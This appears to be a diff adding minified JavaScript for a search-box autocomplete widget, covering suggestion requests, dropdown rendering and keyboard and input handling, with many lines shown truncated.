+_.cj.Ti=function(){function a(a){return(a[f.wd]||{}).j}function b(a){return a[f.Lg]}function c(a,b){var c=a[f.Lg],e=a[f.Gl],g={},h=a[f.wd];if(h)for(var k in h){var n=h[k];k in p&&(n=p[k].parse(n));g[k]=n}return _.cj.gc(b,c,d(c,e),_.cj.Qd(g),_.m,_.j,_.m,_.m)}function d(a,b){for(var c=_.m,d=_.m,f=_.m,k=0,p;p=b[k++];)if(33==(p[g.Vg]||0)?d=_.j:c=_.j,d&&c){f=_.j;break}c=0;d=[];for(k=0;p=b[k++];){var u=p[g.Vg]||0;if(h[u]&&(!f||33!=u)){var w;w=p[g.Fl];n&&(w=i.bold(a.toLowerCase(),_.cj.fj(_.cj.u [...]
+d.push(_.cj.Ub(w,_.cj.fj(_.cj.unescape(w)),c++,u,p[g.El]||[],e(p)))}}return d}function e(a){return(a=a[g.wd])?_.cj.Qd(a):_.cj.Le}var f=_.qCa,g=_.hCa,h,i,n,p={},k={L:function(a){var b=_.m4;i=a.get(b.qd,k);if(a=a.ma(b.of,k))for(var b=0,c;c=a[b++];)p[c.qu()]=c},K:function(a){h=a.Ga;n=a.dg},C:(0,_.E)(124),G:function(){return _.cj.A.Kb},F:function(){return{Rm:a,Vp:b,ff:c}}};return k};_.cj.A.Kb=14;_.cj.J.register(124,_.cj.A.Kb,_.cj.Ti);
+_.cj.Ui=function(){function a(a){var d=b(a);if(d){e&&!a.Ph()&&(a=e.mq(a));f.Zm(a);var k=a,q=k.Ta().U(),v=k.ha();g.isEnabled()&&(v.length?(k=k.C()==_.m,g.setSuggestions(q,v,k)):g.clear());c.da(3,{input:q,Ke:v})}h.Uc(a,d);return d}function b(a){var b=d.la(),c=f.Oa(),b=b.toLowerCase(),e=a.U().toLowerCase();b==e?c=_.j:(b=_.cj.Pb(b),a=(e=a.Ta())?e.Ba():_.cj.Pb(a.U().toLowerCase()),c=c?c.Ta().Ba():"",c=0==b.indexOf(a)?0==b.indexOf(c)?a.length>=c.length:_.j:_.m);return c}var c,d,e,f,g,h,i={L:fu [...]
+_.m4;c=a.get(b.ea,i);d=a.get(b.Y,i);e=a.get(b.Cg,i);f=a.get(b.ta,i);g=a.get(b.ga,i);h=a.Wa()},C:(0,_.E)(125),G:function(){return _.cj.A.Nc},F:function(){return{Jb:a,vd:b}}};return i};_.cj.A.Nc=15;_.cj.J.register(125,_.cj.A.Nc,_.cj.Ui);_.dj.Ru=_.l;_.dj.Xu=_.l;_.dj.Si=_.l;
+_.cj.Si=function(){function a(a,b){if(C&&!(Pa||G&&G.Ak())){a.$d("ds",Ea.Ag);a.$d("pq",Ra);a.Ul();var c=_.j,d=a.xh();d>Da&&(Da=d);++ma;var d=_.cj.getTime(),e;for(e in N){var f=N[e].Hg();2500<d-f&&x(e)}if(xa&&(e=y.get(a)))(c=Ba||a.Mm())&&Ea.Gm&&a.Hm(),da.Jb(e),e.sg()&&++za,ra=_.l;c&&(ra=a,(!J||b)&&w())}}function b(){return 10<=Ha||3<=Q.Wd()?_.j:_.m}function c(){ta=Da}function d(){return Da<=ta}function e(){ra=_.l}function f(){return ma}function g(){return{Nm:xa,Im:xa?y.Jn():0,Tl:Ua}}functi [...]
+y.vf():0}function i(){return za}function n(){return{Um:Ma,Sm:Na,Vm:La}}function p(){return Ia}function k(){return Ka}function q(a){a=P.ff(a,_.l);return da.vd(a)}function v(){return Ca}function r(){for(var a=[],b=0,c,d=0;d<=K;++d)c=Ga[d],0==c?b++:(b=1==b?"0j":1<b?d+"-":"",a.push(b+c),b=0);return a.join("j")}function s(){xa&&y.Wk()}function A(a){xa&&y.Hn(a)}function z(a,b){return P.ff(a,b)}function t(){xa&&y.Eb();Ca=Ka=Ia=La=Na=Ma=za=Ua=Ha=ma=0;Ga=[];for(var a=0;a<=K;++a)Ga[a]=0}function u [...]
+function w(){_.cj.nc(J);J=_.l;if(!(2<Q.Wd())&&ra){var a=[],b=ra.O();if(b)for(var c in b)_.cj.Na(c,b[c],a);Fa.Re();var a=a.join("&"),d=ra,a=Q.jd(ra,a,function(a,b){I(a,b,d)},I);ra.yh()||(++Ma,a?(a=ra,N[a.getId()]=a,++Ha):++Na);ra=_.l;a=100;b=(Ha-2)/2;for(c=1;c++<=b;)a*=2;a<qa&&(a=qa);J=window.setTimeout(w,a)}}function x(a){Q.kg(a);delete N[a];Ha&&--Ha}function I(a,b,c){if(C){if(!c&&(c=P.Rm(a),c=N[c],!c))return;if(!c.yh()){b&&++Ua;a=P.ff(a,c);if(R){var d=L.la();a=R.xu(a,d)}b&&a.Uh();xa&&y. [...]
+ta||(++La,da.Jb(a)||++Ia,b=c,qa=a.O().ye("d"),b&&(x(b.getId()),b=b.Hg(),b=_.cj.getTime()-b,Ca+=b,Ka=window.Math.max(b,Ka),++Ga[b>Z?K:O[window.Math.floor(b/100)]]));a&&(b=_.rCa,(a=a.O().V(b.Ko))&&S.$m(a))}}}var O=[0,1,2,3,4,5,5,6,6,6,7,7,7,7,7,8,8,8,8,8],K=O[O.length-1]+1,Z=100*O.length-1,y,G,Q,L,S,P,da,R,Aa,Fa,C=_.m,ra,Da=-1,N,ma,Ha,Ua,za,Ma,Na,La,Ia,Ka,Ca,Ga,qa,J,Ba,Pa,ta,xa,Ea,Ra,sa={L:function(a){var b=_.m4;y=a.get(b.Mc,sa);G=a.get(b.zb,sa);a.get(b.ea,sa);L=a.get(b.Y,sa);S=a.get(b.eb, [...]
+sa);da=a.get(b.Nc,sa);R=a.get(b.Dn,sa);a.get(b.ta,sa);Aa=a.get(b.xb,sa);a.get(b.ga,sa);Fa=a.Wa()},K:function(a){Q=Aa.Xl();Ea=a;C=_.j;N={};qa=0;Ba=a.bi;Pa=a.Oh;ta=-1;xa=Ea.Ql&&!!y;Ra=a.Sh},C:(0,_.E)(123),G:function(){return _.cj.A.ya},F:function(){return{Bg:a,Ze:b,$e:c,bh:d,Ll:e,nm:f,Vl:g,vf:h,$l:i,Zk:n,mm:p,fm:k,vd:q,om:v,Wl:r,hb:s,In:A,eh:z,Eb:t,gh:u}},$:function(){C=_.m;_.cj.nc(J);N=ra=J=_.l;c()}};return sa};_.cj.A.ya=13;_.cj.J.register(123,_.cj.A.ya,_.cj.Si);
+_.cj.Vi=function(){function a(){return e.Ze()}function b(a){g=a;++h;a.rg()&&++i;f.Dd&&f.Dd(i/h)}function c(){return g}function d(){g=_.l}var e,f,g,h,i,n={L:function(a){e=a.get(123,n);f=a.Wa()},K:function(){i=h=0;g=_.l},C:(0,_.E)(126),G:function(){return _.cj.A.ta},F:function(){return{Ze:a,Zm:b,Oa:c,B:d}}};return n};_.cj.A.ta=5;_.cj.J.register(126,_.cj.A.ta,_.cj.Vi);
+_.cj.Wi=function(){function a(){return e}function b(){return f}function c(){e&&e.hb()}var d={},e,f,g={L:function(a){a=a.ma(_.m4.kf,g);for(var b=0,c;c=a[b++];)d[c.Ud()]=c},K:function(a){var b="https:"==window.document.location.protocol||a.ug,c=_.cj.Na,g=[];c("client",a.Yd,g);c("hl",a.Pc,g);c("gl",a.zh,g);c("sugexp",a.Wc,g);c("gs_rn",_.cj.Oi,g);c("gs_ri",a.Yg,g);a.authuser&&c("authuser",a.authuser,g);f={protocol:"http"+(b?"s":"")+"://",host:a.Cj||"clients1."+a.qg,Hd:a.Hd||"/complete/search [...]
+g.join("&"):""};if(!e||e.Ud()!=a.ob)e=d[a.ob]},C:(0,_.E)(127),G:function(){return _.cj.A.xb},F:function(d){return{Xl:123==d?a:_.cj.P,Hf:b,Gq:c}}};return g};_.cj.A.xb=16;_.cj.J.register(127,_.cj.A.xb,_.cj.Wi);_.dj.$u=_.l;
+_.cj.yi=function(){function a(a){i.Cd(a)}function b(){return n}function c(a){if(a in p){if(k){if(a==k.Uf())return;f();k.lj()}k=p[a];i.setPanel(k)}}function d(){return n?i.getHeight():0}function e(){n||(i.show(g()),n=_.j)}function f(){n&&(i.hide(),n=_.m)}function g(){var a=_.cj.Yi(h);k.gj(a);return a}var h={uk:_.m,yg:"left",Nj:_.j,Xa:_.l,marginWidth:0},i,n,p={},k,q={L:function(a){var b=_.m4;i=a.get(b.Vb,q);a.Wa();if(a=a.ma(b.Kg,q))for(var b=0,c;c=a[b++];)p[c.Uf()]=c},K:function(){n=_.m},C [...]
+G:function(){return _.cj.A.Pa},F:function(){return{Ra:b,setPanel:c,getHeight:d,show:e,hide:f,Cd:a}},$:function(){f()}};return q};_.cj.A.Pa=7;_.cj.J.register(115,_.cj.A.Pa,_.cj.yi);
+_.cj.Ei=function(){function a(){var a={};ta.da(13,a);!a.cancel&&Ya.Pf&&ta.defer(wa.Zd);Sa.Se()}function b(){ta.da(12);Sa.yc()}function c(){Na("rtl")}function d(){Na("ltr")}function e(){wa.Ym()}function f(a){wa.Ka()?wa.Xm():wa.ud(a)}function g(){var a=_.jCa;if(Ya.Id==a.hp)return _.m;if(Ya.Id==a.Oo)return Sa.Xe(),_.m;var b=La();if(b)switch(Ya.Id){case a.Sn:if(Ia(b,_.j))return Ea.add(qa.xe),_.j;break;case a.Po:return wa.Bc(b)}return _.m}function h(){Ya.gi?ma(5):(wa.Ra()?wa.Zd():s(),I())}fun [...]
+a.Og()==ya.length&&(Qa&&Qa.clear(),Ya.fi&&ma(2),Sa.Qe(ya))}function n(a){Ba&&0==a.getPosition()&&Ba.Vj()}function p(a,b,c,d){Ya.Rl&&!a&&wa.Ef(_.j);Ya.Nl&&(!wa.Ra()&&"mousedown"==c)&&wa.ud(b);var e;nb&&nb.Om(a,b,c)?e=nb:nb=e=_.cj.Me(a,b,c);var f=b=_.m;if(a!=ya||"onremovechip"==c)_.cj.Lb(c,"key")?Ea.add(qa.wl):"paste"==c&&Ea.add(qa.Bl),b=_.j,ya=$a=a||"",Ca(),ta.da(1,{Fc:c,Xa:db}),Sa.Ad(a),f=_.cj.getTime(),sb||(sb=f),tb=f,_.cj.wc(a)&&(d=_.j),f=_.j;a=Ga.DONT_CARE;var s=e.vh(),g=cb.Oa();if(sa [...]
+0,h;h=sa[q++];)h=h.Ib(s,g),h>a&&(a=h);switch(a){case Ga.Bh:d=_.j;break;case Ga.pk:d=_.m}d?(b&&wa.bn(),ub&&e.setParameter("gs_is",1),Sa.Te(ub),xa.Bg(e),nb=_.l):f&&(wa.clear(),xa.$e());ta.da(2,{Fc:c})}function k(a){(ub=a)&&Ea.add(qa.ul)}function q(a){Ab!=a&&((Ab=a)?Sa.Pe():Sa.Oe())}function v(a){Ka(a)}function r(){J.focus()}function s(){J.blur()}function A(){return J.Cc()}function z(a,b){_.cj.Lb(a,ya,_.j)&&(a=ya+a.substr(ya.length));var c=_.cj.Rd(a.length);p(a,c,"",b);Ka(a,_.j)}function t( [...]
+Bb=_.cj.getTime();Ea.add(qa.Dl)}function u(){p(ya,Q(),"onremovechip")}function w(a){ya=$a=a||"";Ca();J.refresh();ta.da(4,{Xa:db,input:a})}function x(){J.select()}function I(){ya!=$a&&(ya=$a=$a||"",Ca());ta.da(5,{input:$a,Ke:wa.ha(),Xa:db});J.refresh();Sa.Ve($a)}function O(){$a=ya}function K(){return J.xg()}function Z(){return $a}function y(){return ya}function G(){return db}function Q(){return J.Ya()}function L(){return J.Fe()}function S(){return J.getHeight()}function P(){return J.getWi [...]
+function R(){return sb}function Aa(){return tb}function Fa(){return Bb}function C(){return 0!=Pb}function ra(){if(Cb){if(Ya.Vf)return _.j;for(var a=0,b;b=Sb[a++];)if(b.isEnabled())return _.j}return _.m}function Da(a){if(a==ya)return _.j;var b=ya.length;return a.substr(0,b)==ya?Pa.Lm(db,ya,a.substr(b)):_.m}function N(){J.fg()}function ma(a){Ra.search(ya,a)}function Ha(a){ya&&(ya=$a="",J.clear(),ta.da(1),wa.clear(),Sa.Ad(ya));a&&Sa.Ne()}function Ua(){Bb=tb=sb=0}function za(a){J.oe(a)}funct [...]
+La();a&&Ia(a)}function Na(a){var b=Q().getPosition();db==a?wa.Ka()&&b==ya.length&&(wa.jc()?Ya.qh&&(a=wa.Tb(),Ra.search(a.Q(),6)):Ya.Qm&&g()):Ba&&0==b&&Ba.Vj()}function La(){if(wa.Ka()){var a=wa.jc()?wa.Tb():wa.Zc();if(a.Rc())return a}return _.l}function Ia(a,b){var c=a.Q();return!_.cj.qp($a,c)?(O(),b?z(c,_.j):w(c),_.j):_.m}function Ka(a,b){ya=a||"";Ca();J.refresh();b||(ta.da(4,{Xa:db,input:ya}),Sa.Ue(ya))}function Ca(){var a=Pa.vc(ya);a!=db&&(J.Bb(a),db=a)}var Ga=_.pCa,qa=_.lCa,J,Ba,Pa,t [...]
+sa,cb,wa,Qa,Cb,Sb,Sa,$a,ya,db,Pb,sb,tb,Bb,ub,Ab,nb,Ya,Ta={L:function(a){var b=_.m4;J=a.get(b.kb,Ta);Ba=a.get(b.zb,Ta);Pa=a.get(b.$b,Ta);ta=a.get(b.ea,Ta);xa=a.get(b.ya,Ta);Ea=a.get(b.za,Ta);Ra=a.get(b.Qa,Ta);sa=a.ma(b.Qc,Ta);cb=a.get(b.ta,Ta);wa=a.get(b.ga,Ta);Qa=a.get(b.wa,Ta);Cb=a.get(b.Be,Ta);Sb=a.ma(b.qf,Ta);Sa=a.Wa();Pb=a.Fb().Ac()},T:function(a){Ya=a;sa.sort(_.cj.Zi);ya=$a=J.ql()||""},K:function(a){Ya=a;Ab=ub=_.m;Ca()},C:(0,_.E)(118),G:function(){return _.cj.A.Y},F:function(){retur [...]
+wn:c,xn:d,Bm:e,ym:f,Bc:g,zm:h,xm:i,tn:n,vn:p,Cn:k,Th:q,Qb:v,ie:r,Ed:s,or:A,Ig:z,Kq:t,dr:u,Hb:w,fh:x,Dj:I,Ml:O,xg:K,Ca:Z,la:y,vc:G,Ya:Q,Fe:L,getHeight:S,getWidth:P,wf:da,Zl:R,bm:Aa,cm:Fa,yn:C,Df:ra,Tp:Da,fg:N,search:ma,clear:Ha,Eb:Ua,oe:za,Tg:Ma}}};return Ta};_.cj.A.Y=3;_.cj.J.register(118,_.cj.A.Y,_.cj.Ei);
+_.cj.oj=function(){function a(a){a.Xa=cb;a.marginWidth=sa;var b=wa.dn;b||(b="rtl"==cb?"right":"left");a.yg=b}function b(a,b,d){a=Ka&&Ka.St(b);I();if((qa=b)&&b.length){var e=b[0].Q();cb=ma.vc(e);e=_.m;d?(Pa=Da.Al,e=N.Tm(b,cb),d=_.wCa,b=b[0].O().V(d.vk),b=_.cj.unescape(b),sa=Ma.getWidth(b)):(Pa=Da.hh,e=N.render(R(),cb),sa=0);a&&(Ba=Ka.Rt(),c(Ka.Pt()));e?w():I()}}function c(a){ra();if(J!=a){var b=J;J=a;C(b)}}function d(){if(z())if(ta){var a=J;J==qa.length-1?Ba=J=_.l:J==_.l?J=0:++J;Ba=J;Fa(a [...]
+function e(){if(z())if(ta){var a=J;!qa||0==J?Ba=J=_.l:J==_.l?J=qa.length-1:--J;Ba=J;Fa(a,e)}else w()}function f(a){var b=a?4:3;t()?(a=s(),N.Gd(a)||za.search(b),b=za.Ca(),Ga.zd(b,a)):za.search(b)}function g(a){return N.Bc(a)}function h(a){Ba=J=a;a=qa[a];var b=za.Ca();Ga.zd(b,a)}function i(){return ta}function n(){return xa}function p(a){xa&&!a&&I();xa=a}function k(){return Pa}function q(){return qa}function v(){return z()?qa[0]:_.l}function r(){return J}function s(){return t()?qa[Ba]:_.l} [...]
+function z(){return!(!qa||!qa.length)}function t(){return Ba!=_.l}function u(){ta&&!Ea&&(Ea=window.setTimeout(I,wa.$j))}function w(){ta||(Ha.setPanel(da()),Ha.show(),ta=_.j,Ga.Dc())}function x(){ta&&(Ea&&(_.cj.nc(Ea),Ea=_.l),Ha.hide(),ta=_.m,Ga.Ec())}function I(){x();qa=_.l;Pa=Da.EMPTY;J!=_.l&&N.Gb(J);Ba=J=_.l;N.clear()}function O(){Ua.$e();x()}function K(){J!=_.l&&N.Gb(J);Ba=J=_.l}function Z(){ra();Ra=window.setTimeout(K,0)}function y(){ra()}function G(a){if(z())w();else{var b=za.Ca();i [...]
+za.Ya();b=_.cj.Me(b,a);if(La){a=b.vh();for(var c=Ia.Oa(),d=0,e;e=La[d++];)e.Ib(a,c)}Ua.Bg(b)}}}function Q(){return N.Z()}function L(){return N.$c()}function S(){ta=_.m}function P(){N.Sb()}function da(){return _.cj.A.ga}function R(){if(z()&&Pa==Da.hh){for(var a=[],b=[],c=0,d;(d=Na[c++])&&!d.getMessage(za.Ca(),qa,b););c=_.uCa;(d=b?b.length:0)&&(d-=Aa(b,a,c.Rn));for(var e=0;e<qa.length;++e)a.push(qa[e]);d&&(d-=Aa(b,a,c.Yn));wa.xf&&a.push(1);d&&Aa(b,a,c.Xn);wa.Ge&&a.push(2);Ca&&Ca.ju(a);retu [...]
+function Aa(a,b,c){for(var d=0,e=0,f;e<a.length;++e)if((f=a[e])&&f.position==c)b.push(f),++d;return d}function Fa(a,b){if(J!=_.l&&!N.Da(J))N.Gb(a),b();else if(C(a),J==_.l)za.Dj();else{var c=N.Wb(qa[J]);za.Qb(c);Ga.We(c)}}function C(a){ra();a!=_.l&&N.Gb(a);J!=_.l&&N.eg(J)}function ra(){Ra&&(_.cj.nc(Ra),Ra=_.l)}var Da=_.iCa,N,ma,Ha,Ua,za,Ma,Na,La,Ia,Ka,Ca,Ga,qa,J,Ba,Pa,ta,xa,Ea,Ra,sa,cb,wa,Qa={L:function(a){var b=_.m4;N=a.get(b.Tc,Qa);ma=a.get(b.$b,Qa);Ha=a.get(b.Pa,Qa);Ua=a.get(b.ya,Qa);z [...]
+Qa);Ma=a.get(b.Cb,Qa);Na=a.ma(b.ve,Qa);La=a.ma(b.Qc,Qa);Ia=a.get(b.ta,Qa);Ka=a.get(b.En,Qa);Ca=a.get(b.Fn,Qa);Ga=a.Wa()},T:function(){La.sort(_.cj.Zi);Na.sort(_.cj.rp)},K:function(a){wa=a;Ba=J=_.l;Pa=Da.EMPTY;ta=_.m;xa=_.j;cb="";sa=0},C:(0,_.E)(128),G:function(){return _.cj.A.ga},F:function(){return{setSuggestions:b,ak:c,Xm:d,Ym:e,Gd:f,Bc:g,vm:h,Ra:i,isEnabled:n,Ef:p,jm:k,ha:q,Zc:v,Iq:r,Tb:s,qj:A,Ka:z,jc:t,bn:u,show:w,hide:x,clear:I,Zd:O,Bq:K,tq:Z,B:y,ud:G}},Jc:function(){var b={gj:a,Z:Q [...]
+Sb:P,Uf:da};return[{W:_.cj.P,L:_.cj.P,T:_.cj.P,K:_.cj.P,C:(0,_.E)(154),G:function(){return _.cj.A.ga},F:function(){return b},Jc:_.cj.P,$:_.cj.P}]},$:function(){Ea&&(_.cj.nc(Ea),Ea=_.l);qa=_.l;x()}};return Qa};_.cj.A.ga=17;_.cj.J.register(128,_.cj.A.ga,_.cj.oj);
+_.cj.zi=function(){function a(a){a!=x&&(x=a,a=a.Z(),I?a!=I&&u.replaceChild(a,I):u.appendChild(a),I=a)}function b(){w||(w=u?window.Math.max(u.offsetHeight,0):0);return w}function c(a){u.className=a.uk?"gssb_e gsdd_a":"gssb_e";var b=a.Xa||G;s!=b&&(s=b,_.cj.dj(r,b));b=a.marginWidth;if(t!=b){var c=z.style;b?(A.hasChildNodes()||A.appendChild(z),c.width=b+"px",_.cj.Ob&&(c.paddingLeft="1px")):(A.hasChildNodes()&&A.removeChild(z),c.paddingLeft="");t=b}L=a.Nj;S=a.yg;i(O,_.j);i(y,_.j);k.da(16);e() [...]
+0;i(O,_.m);i(y,_.m);k.da(11)}function e(){w=0;g();if(y){var a=q.Kl[_.oCa.Do],c=y.style;"relative"!=q.ke&&(c.top=r.style.top,c.left=r.offsetLeft+A.offsetWidth+"px");a=b()+a;y.style.height=window.Math.max(a,0)+"px";h(y,u.offsetWidth)}x&&x.Sb()}function f(a){if(K)Z!=a&&K.replaceChild(a,Z);else{var b=r.insertRow(-1);b.style.height="0";b.insertCell(-1);K=b.insertCell(-1);n.Ra()||(i(u,_.m),i(r,_.j),e());O=u;K.appendChild(a)}Z=a}function g(){var a=x&&x.$c(),b=a?a.offsetWidth:p.getWidth(),c=Q;c? [...]
+(c=_.l):t||!L?(u.style.width="",r.style.width=""):(u.style.width="100%",c=b+q.Vd[2],h(r,c));if("relative"!=q.ke){var d=p.Fe();a&&(d.wb=_.cj.ij(a).wb);var a=c,e=q.Vd,c=e[1],e=e[0],e=d.kd+p.getHeight()+e;"right"==S?(a=_.cj.Hc(r),b={Wm:_.cj.xp(a)-(d.wb-c+b),kd:e}):(d=d.wb+c,"center"==S&&a&&(d+=(b-a)/2),b={wb:d,kd:e});d=r.style;d.top=b.kd+"px";d.left=d.right="";b.wb!=_.ba?d.left=b.wb+"px":d.right=b.Wm+"px"}_.cj.nf&&(d.zoom="normal",d.zoom=1)}function h(a,b){_.cj.bj(b)?0<b&&(a.style.width=b+" [...]
+b}function i(a,b){a&&(a.style.display=b?"":"none")}var n,p,k,q,v,r,s,A,z,t,u,w,x,I,O,K,Z,y,G,Q,L=_.j,S,P={W:function(a,b){G=a.Yc();b.addRule(".gssb_c","border:0;position:absolute;z-index:989");b.addRule(".gssb_e",["border:1px solid #ccc;border-top-color:#d9d9d9;",b.prefix("box-shadow:0 2px 4px rgba(0,0,0,0.2);"),"cursor:default"].join(""));b.addRule(".gssb_f","visibility:hidden;white-space:nowrap");b.addRule(".gssb_k","border:0;display:block;position:absolute;top:0;z-index:988");b.addRul [...]
+"border:none!important")},L:function(a){var b=_.m4;n=a.get(b.Pa,P);p=a.get(b.Y,P);k=a.get(b.ea,P);v=a.Fb().getId()},T:function(a){q=a;r=_.cj.ic();r.className=_.cj.ce+v+" gssb_c";i(r,_.m);O=r;var b=r.insertRow(-1);A=b.insertCell(-1);A.className="gssb_f";z=_.cj.oa();u=b.insertCell(-1);u.className="gssb_e";u.style.width="100%";q.Dm&&(y=_.cj.R("iframe",_.cj.ce+v+" gssb_k"),i(y,_.m),(q.wg||window.document.body).appendChild(y));if(Q=q.Ol)_.cj.bj(Q)&&(Q+=q.Vd[_.nCa.gn]),h(r,Q);g();(a.wg||window [...]
+k.Db(8,e)},K:function(a){q=a;r.style.position=a.ke},C:(0,_.E)(116),G:function(){return _.cj.A.Vb},F:function(){return{setPanel:a,getHeight:b,Cd:f,show:c,hide:d,Sb:e}}};return P};_.cj.A.Vb=8;_.cj.J.register(116,_.cj.A.Vb,_.cj.zi);
+_.cj.Fi=function(){function a(a,b){Ha&&(Ha=_.m,R.gf(C,I),R.gf(C,O));b||(b=a);C.parentNode.replaceChild(a,C);b.appendChild(C);ma&&N.lk&&(_.cj.Ea||_.cj.Ob?R.defer(function(){C.focus();_.cj.tj(C,Ma.getPosition())}):C.focus());K()}function b(){return Ca}function c(a){var b="rtl"==a==("rtl"==ta);C.dir=a;if(Ga){Aa.Bb(a);var c=Ia.parentNode;c.removeChild(Ga);b?_.cj.rj(Ga,Ia):c.insertBefore(Ga,Ia)}Ca&&(Ca.dir=a,c=Ca.parentNode,c.removeChild(Ca),b?c.insertBefore(Ca,Ia):_.cj.rj(Ca,Ia));0!=ra&&(a=_ [...]
+_.cj.Jp(C,a,0))}function d(){return Ma}function e(){return _.cj.ij(Ka)}function f(){var a=Ka?Ka.offsetHeight:0;Ea>a&&(a=Ea);return a}function g(){return Ka?Ka.offsetWidth:0}function h(){var a=C.offsetWidth;N.Jf&&(a-=C.offsetHeight);return a}function i(){return C.value}function n(a){(N.jn?C:Ia||Ra||C).style.background=a||"transparent"}function p(){La=_.j}function k(){C.select();L()}function q(){_.cj.mj&&(C.value="");C.value=P.la();_.cj.mj&&(C.value=C.value);z()}function v(){if(!ma)try{C.f [...]
+_.j,z()}catch(a){}}function r(){ma&&(C.blur(),ma=_.m)}function s(){return ma}function A(){C.value=""}function z(){if(ma){var a=C.value.length;Ma=_.cj.Rd(a);_.cj.tj(C,a)}}function t(a){a=a.type;"compositionstart"==a?P.Th(_.j):"compositionend"==a&&P.Th(_.m)}function u(a){var b=a.keyCode;Na=b;var c=_.cj.Lc&&_.cj.sj(b)&&da.Ka(),d=b==S.Ah,e=b==S.ue;J=_.m;b==S.xe&&(J=P.Bc());if(d){var b=da.Tb(),f;if(f=b)f=(b=Fa[b.C()].Iu)&&b();f?da.Gd(a.shiftKey):R.defer(function(){da.Gd(a.shiftKey)})}if(c||d| [...]
+_.j}function w(a){var b=a.keyCode,c=b==S.ue,d=b==S.xe&&J;if(b==S.Ah||c||d)a.Jd=_.j}function x(a){if(!Ba){var b=a.Fc;if(!b.indexOf("key")&&!a.ctrlKey&&!a.altKey&&!a.shiftKey&&!a.metaKey)a:if(a=a.keyCode,"keypress"!=b){var c=_.cj.sj(a),d;if("keydown"==b){if(d=229==a,P.Cn(d),c)break a}else if(d=a!=Na,Na=-1,!c||d)break a;switch(a){case S.ue:P.zm();break;case S.Wj:P.wn();break;case S.Xj:P.xn();break;case S.Jh:P.Bm();break;case S.Ih:P.ym(Ma);break;case S.Qj:P.xm(Ma);break;case S.Yj:P.tn(Ma)}}L [...]
+Ma,b)}}function I(){ma=_.j;P.un()}function O(){ma=_.m;P.Fh()}function K(){Ha||(Ha=_.j,R.qa(C,"focus",I,99),R.qa(C,"blur",O,99))}function Z(){za||(za=window.setInterval(G,N.Bn||50))}function y(){za&&(_.cj.nc(za),za=_.l)}function G(){x({Fc:"polling"})}function Q(){_.cj.Ob&&_.cj.Kp(C)}function L(){if(ma){var a=_.cj.Ya(C);a&&(Ma=a)}}var S=_.o4,P,da,R,Aa,Fa,C,ra,Da,N,ma,Ha=_.m,Ua,za,Ma=_.cj.Rd(0),Na=-1,La=_.m,Ia,Ka,Ca,Ga,qa,J,Ba,Pa,ta,xa,Ea,Ra,sa={W:function(a,b){xa=a;C=a.nd();ta=a.Yc();a.Zf( [...]
+"width:100%;padding:4px 6px 0"),b.addRule(".gsib_a,.gsib_b","vertical-align:top"))},L:function(a){var b=_.m4;P=a.get(b.Y,sa);R=a.get(b.ea,sa);da=a.get(b.ga,sa);Aa=a.get(b.Be,sa);Fa=_.cj.lg(a.ma(b.RENDERER,sa));a=a.Fb();ra=a.Ac();Da=a.getId()},T:function(b){function c(a){R.qa(C,a,x,10,q)}N=b;Ea=b.ng;ma=_.cj.Cc(C);L();_.cj.Ea&&R.qa(C,"beforedeactivate",function(a){La&&(La=_.m,a.Jd=_.j)},10);if(_.cj.Ob){var d;R.listen(window,"pagehide",function(){Ba=_.j;d=C.value});R.listen(window,"pageshow [...]
+_.m;a.persisted&&P.Hb(d)})}Ka=C;Pa=!!b.xa[130];if(P.yn()||P.Df()||Pa||b.ln){var e=xa.get("gs_id");if(e)Ca=xa.get("gs_ttc"),Ia=xa.get("gs_tti"),P.Df()&&Aa&&(qa=Aa.Z(),Ga=qa.parentNode);else{e=_.cj.ic();e.id=xa.getId("gs_id");e.className=_.cj.ce+Da+" "+(N.fe||C.className);var f=e.insertRow(-1),s=e.style,g=C.style;s.width=g.width;s.height=Ea?Ea+"px":g.height;s.padding="0";_.cj.Hh(C);C.className=N.Nb;Pa&&(Ca=f.insertCell(-1),Ca.id=xa.getId("gs_ttc"),Ca.style.whiteSpace="nowrap");Ia=f.insertC [...]
+xa.getId("gs_tti");Ia.className="gsib_a";P.Df()&&Aa&&(qa=Aa.Z(),Ga=f.insertCell(-1),Ga.className="gsib_b",Ga.appendChild(qa));a(e,Ia)}_.cj.Zg&&_.cj.Lc&&(C.style.height="1.25em",C.style.marginTop="-0.0625em");R.qa(e,"mouseup",function(){C.focus()});Ka=e}C.nfd=_.j;b.Xh&&(R.qa(C,"blur",y,10),R.qa(C,"focus",Z,10),Ua=_.j);R.Db(8,Q);R.qa(C,"keydown",u);(_.cj.rd||N.hn)&&R.qa(C,"keypress",w);R.qa(C,"select",L,10);var q=_.m;c("mousedown");c("keyup");c("keypress");q=_.j;c("mouseup");c("keydown");c [...]
+c("blur");c("cut");c("paste");c("input");R.qa(C,"compositionstart",t);R.qa(C,"compositionend",t);K()},K:function(a){N=a;var b=a.jk;b&&(Ra=xa.Va(b));C.setAttribute("autocomplete","off");C.setAttribute("spellcheck",a.spellcheck);C.style.outline=a.An?"":"none";Ua&&Z()},C:(0,_.E)(119),G:function(){return _.cj.A.kb},F:function(){return{Qn:a,xg:b,Bb:c,Ya:d,Fe:e,getHeight:f,getWidth:g,wf:h,ql:i,oe:n,fg:p,select:k,refresh:q,focus:v,blur:r,Cc:s,clear:A}},$:function(){Ua&&y();N.Pf&&R.gf(C,P.Fh)}}; [...]
+_.cj.A.kb=4;_.cj.J.register(119,_.cj.A.kb,_.cj.Fi);
+_.cj.Il=function(){function a(a,b){if(!R)return _.m;P=b;z();for(var c=_.m,d=0,e;e=a[d++];)q(e)&&(c=_.j);return c}function b(a){var b=x[a.C()];return b&&b.Am?b.Am(a):_.m}function c(a){return x[a.C()].vb(_.l,a,I)}function d(a){var b=x[a.C()];if(b&&b.Wb){var c=w.Ca();return b.Wb(a,c)}return a.Q()}function e(a,b){if(!R)return _.m;P=b;z();for(var c=_.m,d=0,e;e=a[d++];)if(1==e)if(Fa)Aa.appendChild(Fa);else{e=r();var f=e.style;f.textAlign="center";f.whiteSpace="nowrap";e.dir=da;f=_.cj.oa();f.st [...]
